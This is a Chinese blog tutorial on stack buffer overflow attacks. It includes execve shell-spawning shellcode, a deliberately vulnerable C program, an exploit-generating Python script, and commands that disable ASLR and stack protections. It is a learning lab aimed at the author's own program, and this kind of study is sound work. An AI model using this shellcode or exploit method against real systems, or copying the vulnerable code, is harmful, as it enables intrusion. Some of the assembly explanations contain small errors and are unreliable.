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前置说明
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本文发布于 2018-12-06 16:46:09，现用MarkDown+图床做备份更新。blog原图已丢失，使用csdn所存的图进行更新。（BlogID=074）
环境说明
无
前言
本文仅用于学习计算机程序运行原理，请不要用作其他违法用途。
内存溢出可以说是我们程序员经常遇到的问题了，但是一般过程中，我们只会处理让程序崩溃的内存溢出，只要程序不崩溃，我们基本不会管的了。这里，我将会演示一下程序内存溢出的严重后果。同时也警示我们自身，写程序一定要逻辑严密一点，不要犯低级错误。（然而我们不可能避免错误，只要没有比较明显的错误即可。）
前置知识（64bit）
汇编中的几个重要指令:
汇编中的几个重要指令:
- call xxx 等价于：push eip 和 jump xxx
- leave 等价于: pop rbp 和 mov rbp,rsp
- ret 等价于 pop eip
栈帧的知识：
参考我之前的文章：https://blog.csdn.net/u011728480/article/details/79092194
简单说就是,跳转到一个子过程，会又一片新的内存区域，有三个重要的寄存器rbp，rsp，eip 可以表示和这个区域的属性。看下图：(在调用一个子过程的时候，注意rsp，rbp，eip的变化，新的rsp和rbp的生成，新老rsp和rbp的关系)
注意：每个子调用的完整过程为:这里面包含了所有的rbp,rsp，eip的变化
call sub_call ; eip入栈，rsp-8
push rbp ; rbp 入栈 rsp-8
mov rsp,rbp ; rsp 赋值给rbp，作为一个新的栈帧开始，rbp为栈底
... ... ;这里就是子调用的变量内存分配，rsp-0xN
... ... ;其他过程
... ... ;其他过程
leave ;rbp赋值给rsp, rbp出栈，rsp+8
ret ;eip出栈，rsp+8
这样的一个过程，就完成了现场调整执行子调用然后恢复现场的过程。
内存溢出的攻击的简要原理（以上图为例）
x86栈帧是从高地址到低地址的排列的。如果我在sub_func中分配了0xN字节的buf，那么上图的rbp'和rsp'的关系变为rbp'=rsp'+0xN，如果没有做安全的内存使用，我直接写入了0xN+8+8的数据，理论上来说，我就覆盖了上图栈中eip的值，eip存放的是sub_func返回时，要执行Main_Func下一条指令的地址，也就是说，我控制了，sub_func返回时要执行的地址内容，那么通过精心构造的内容，如果写入到buf，就可能执行我们想要的代码。
那么是不是内存溢出很简单呢？操作系统难道那么不安全吗？
现代内存堆栈保护技术出现
- 编译器堆栈检测
- 堆栈不可执行
- 地址空间随机化等等
这些东西都可以提高内存溢出的难度，我是一个小白，为了理解内存攻击，我得把他们关闭了。
内存溢出攻击实例
1 准备一份shellcode，就是上面替换eip后，你想要执行的一份代码。我这里选择，生成一个shell。
对应的16进制：
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
c版本
// int execve(const char *filename, char *const argv[],char *const envp[]);
const char * a = "/bin/sh";
char * b[1];
b[0] = a;
execve(a, b, NULL);
汇编版本（64位，注意）
xor eax, eax ; 清空eax
mov rbx, 0xFF978CD091969DD1 ; 0x6873276e69622f的补码
neg rbx;对rbx求补码，rbx=0x6873276e69622f,代表hs/nib/
push rbx;把/bin/sh的地址放入栈，rsp-8
push rsp;rsp放入堆栈，rsp-8
pop rdi;把/bin/sh的地址给rdi，rdi作为作为参数参数的第一个参数，在64系统中，rsp+8
cdq;把edx的每一位设置为eax的最高位，就是edx清零，然后把edx作为eax的高位。
push rdx;内存地址高8字节rsp-8
push rdi;内存地址低8字节，指向/bin/sh,rsp-8
push rsp;保存rsp,rsp-8
pop rsi;rsi=新构造的一个变量地址。指向/bin/sh,rsp+8
mov al, 0x3b;设置系统调用号0x3b execv
syscall;系统调用
64位系统,execve的系统调用号为59，也就是0x3b
2 实际实例攻击
异常代码
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
void overflow(char * msg){
char buf[10];
memcpy(buf, msg, 100);
printf("buf out: %s", buf);
}
int main(int argc, char * argv[]){
char main_buf[100];
int f = open(argv[1], O_RDONLY);
read(f, main_buf, 100);
overflow(main_buf);
return 0;
}
exp 辅助生产工具，生成exp文件，python exp.py>msg
exp.py 文件内容
#!/usr/bin/python
import struct
from subprocess import call
addr=0x7fffffffDE5B
s_c="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf="M"*10
buf+="M"*8
buf+=struct.pack("<I",0xffffde30) #main rbp
buf+=struct.pack("<I",0x7fff) #main rbp
buf+=s_c
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '\\x') for c in s])
print buf
#call(["./a.out",buf])
编译方法，去掉堆栈保护，设置堆栈可执行
gcc test.cpp -l stdc++ -z execstack -fno-stack-protector
关闭地址随机化（必须root用户情况下）：
echo 0 > /proc/sys/kernel/randomize_va_space
效果：
至此我们成功拿到了shell，可以做一些简单的shell操作等等。
以上实例分析
根据上文overflow源码分析得出，我们溢出了90个字节，由于程序员的不小心。这100个字节是来至于文件的，我们可以构建一个特殊的文件来达到我们的目的。
根据exp助手，我们可以生成一个创建shell的exp文件。
根据exp助手源码可知：
1-10字节为M ------ 这对应我们申请的buf内容
11-18字节为M ------ 这对应在子过程调用中，push rbp时，保存的原有的rbp
19-26字节为eip在栈中的位置 ------ 这就是我们要修改当overflow返回时，我要计算机执行的我的代码的地方，也就是shellcode中的xor eax,eax
27-54字节即为创建shell的shellcode
如果我们在overflow中申请的buf地址为N，那么：
N~N+0xa 为buf的内存空间
N+0xb~N+0x12 为原rbp保存的位置
N+0x13~N+0x1a 为我们需要控制的eip的值，需要让他指定到我们想要的地址去，明显我们想要的地址就是N+0x1b，也就是我们创建shell的汇编存放的地方
N+0x1b~N+0x36 为我们存放创建shell汇编代码的存放的地方。
从上述分析可知：
我们需要改的就是N+0x13~N+0x1a内存中存放的值，改为N+0x1b.
在操作系统中：当我们关闭的地址虚拟化后，我们的程序在开机的过程中，每次运行的时候，基地址的一致的，这样我们每次运行的时候，我们的buf地址是一致，当我们获取了buf地址后，即可生成exp文件。
我们通过core文件和gdb来找到buf的地址如下图：
先运行./a.out msg
这个时候msg的地址可以乱填，反正会段错误。得到core文件
在运行 gdb --core=core
这个时候查看几个寄存器的值，唯一的有效值是rsp的值如下图：
通过分析，发现是执行完leave 指令，并且执行完ret指令，eip中的值为我随意设定的一个乱的值。
这里我们就知道，rsp的值即为我们的想要的shellcode，rsp的地址即为我们想要的地址，把这个地址放到exp助手里面去，然后重新生成exp文件，然后就得到了我们想要的结果。
总结
- 这告诉我们程序员，在写代码时，特别是有重大用处的程序时，要注意内存溢出问题，不可能有那么明显的溢出，但是有很多隐藏溢出地方，这个需要大家注意。
- 计算机还是一如既往的笨。
- 这是最经典的内存溢出攻击方式，现代的溢出攻击万变不离其宗。
本文主要是为了学习计算机中程序执行的原理，请不要用于非法用途。
后记
无
参考文献
- 无
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